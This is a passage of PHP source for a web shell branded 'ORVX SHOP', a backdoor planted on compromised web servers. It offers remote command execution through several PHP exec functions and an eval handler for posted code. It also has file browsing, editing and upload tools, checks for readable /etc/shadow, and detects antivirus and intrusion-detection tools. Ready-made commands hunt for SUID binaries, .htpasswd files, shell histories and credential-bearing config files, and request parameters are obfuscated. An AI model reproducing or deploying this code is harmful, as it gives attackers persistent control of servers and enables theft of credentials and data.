    font: 9pt Monospace,'Courier New';}
    
	label {position:relative}
	label:after {font:10px 'Consolas', monospace;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#060a10;}
	.main tr:hover{    background-color: #262C30;}
	.main td, th{vertical-align:middle;}
	input[type='submit']{color: #FFFFFF;display: inline-block;
    padding: 0.35em 0.4em;
    font-size: 80%;
    font-weight: 700;
    line-height: 1;
    text-align: center;
    white-space: nowrap;
    vertical-align: baseline;
    border-radius: 0.25rem;
    -webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
    transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}
	input[type='button']{color: #FFFFFF;display: inline-block;
    padding: 0.35em 0.4em;
    font-size: 80%;
    font-weight: 700;
    line-height: 1;
    text-align: center;
    white-space: nowrap;
    vertical-align: baseline;
    border-radius: 0.25rem;
    -webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
    transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}
	.l1			{background-color:#10163A;}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}//--------------ORVX SHOP--------------//
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $dokl)
		$opt_charsets .= '<option value="'.$dokl.'" '.($_POST['charset']==$dokl?'selected':'').'>'.$dokl.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Delivery Test'=>'Deliverytest','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['password_shell'])){
    $m['Change Password'] ='changepass';
	$m['Logout'] ='Logout';
	
}else{$m['Shell password'] ='changepass';}
	$menu = '';
	foreach($m as $k => $v)
	if($v == 'Deliverytest' || $v == 'changepass') {
		$menu .= '<th>[ <a href="#" style="color:#ea5455 !important" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	}
	else{
		$menu .= '<th>[ <a href="#"  onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	}
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if (is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	//--------------ORVX SHOP--------------//
	echo '<table style="background-color: #559;" class=info cellpadding=3 cellspacing=0 width=100%><tr style="background: #0000009e;"><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><b style="display:none" id="systemshort">'.PHP_OS.'</b><nobr id="systemdet">'.substr(@php_uname(), 0, 120).'</nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br><nobr id="systemphp">'.@phpversion().'</nobr> <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color= #EA5455>ON</font>':'<font color=#28C76F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>-</nobr></td></tr></table>'.
		 '<table style="background-color:black;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div><br><center><a  href="https://orvx.pw" target = "_blank"style="font-size: 20px;font-weight: 600;color: #ea5455 !important;">ORVX SHOP</a></center>';
}
function generateRandomString($length) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function hardFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#28C76F'>[ Writeable ]</font>":" <font color=#EA5455>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
		<td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=ne value=''>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
	</tr></table></div>

	</body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }

function ex($in) {
	$dokas = '';
	if (function_exists('exec')) {
		@exec($in,$dokas);
		$dokas = @join("
",$dokas);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$dokas = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();//--------------ORVX SHOP--------------//
		@system($in);
		$dokas = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$dokas = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$dokas = "";
		while(!@feof($f))
			$dokas .= fread($f,1024);
		pclose($f);
	}else return " Unable to execute command
";
	return ($dokas==''?" Query did not return anything
":$dokas);
}
function viewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}
function perms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}//--------------ORVX SHOP--------------////--------------ORVX SHOP--------------//
function viewPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#EA5455><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!@is_writable($f))
		return '<font color=#EA5455><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#28C76F><b>'.perms(@fileperms($f)).'</b></font>';
}
function hardScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
function which($p) {
	$path = ex('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"VERSION" => VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}//--------------ORVX SHOP--------------//
function prototype($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
function changer($p, $n) {
    
    $passnew = changepass($p) ? $p: NULL;
    $shellname = rename ($_SERVER['SCRIPT_FILENAME'], "ORVX-".$n.".php") ?  "ORVX-".$n.".php" : basename($_SERVER["SCRIPT_FILENAME"]);
    
    
$dir_only = $_SERVER['HTTP_HOST'].substr($_SERVER['REQUEST_URI'], 0, strrpos($_SERVER['REQUEST_URI'], '/') + 1);
$finalshl =  $dir_only.$shellname.(isset($passnew) ? "?pass=$passnew": '');
   
return json_encode(array('url' => $finalshl,));
    
}
function actionSecInfo() {
	hardHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function showSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	showSecParam('Open base dir', @ini_get('open_basedir'));
	showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	showSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';
	if($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $dokl)
                    if(which($dokl))
                        $temp[] = $dokl;
                showSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $dokl)
                    if(which($dokl))
                        $temp[] = $dokl;
                showSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $dokl)
                    if(which($dokl))
                        $temp[] = $dokl;
                showSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
				showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }//--------------ORVX SHOP--------------//
	} else {
		showSecParam('OS Version',ex('ver'));
		showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
		showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
	}
	echo '</div>';
	hardFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}//--------------ORVX SHOP--------------//
	hardHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		hardFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> <b style="color:white">'.htmlspecialchars(@basename($_POST['p1'])).'</b> <span>Size:</span> <b style="color:white">'.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' </b><span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> <b style="color:white">'.date('Y-m-d H:i:s',filectime($_POST['p1'])).'</b> <span>Access time:</span> <b style="color:white">'.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'</b> <span>Modify time:</span> <b style="color:white">'.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'</b><br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('back','View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)

		echo '<a style="color:#FF9F43 !important" href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;//--------------ORVX SHOP--------------//
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$oRb = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo '<b style="color:#28C76F !important">Saved!<b><br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
           
                
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {//--------------ORVX SHOP--------------//
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value="submit"></form>';
			break;//--------------ORVX SHOP--------------//
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
			break;
        case 'back':
           die('<script>g(\'FilesMan\',null,\'\',\'\',\'\');</script>');
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
			break;
		//--------------ORVX SHOP--------------//
		case 'frame':
			$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
			if ($frameSrc[0] != '/')
				$frameSrc = '/' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != '/')
				$frameSrc = $frameSrc . '/';
			$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
			echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
			break;
	}
	echo '</div>';
	hardFooter();
}
if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else//--------------ORVX SHOP--------------//
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",//--------------ORVX SHOP--------------////--------------ORVX SHOP--------------//
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
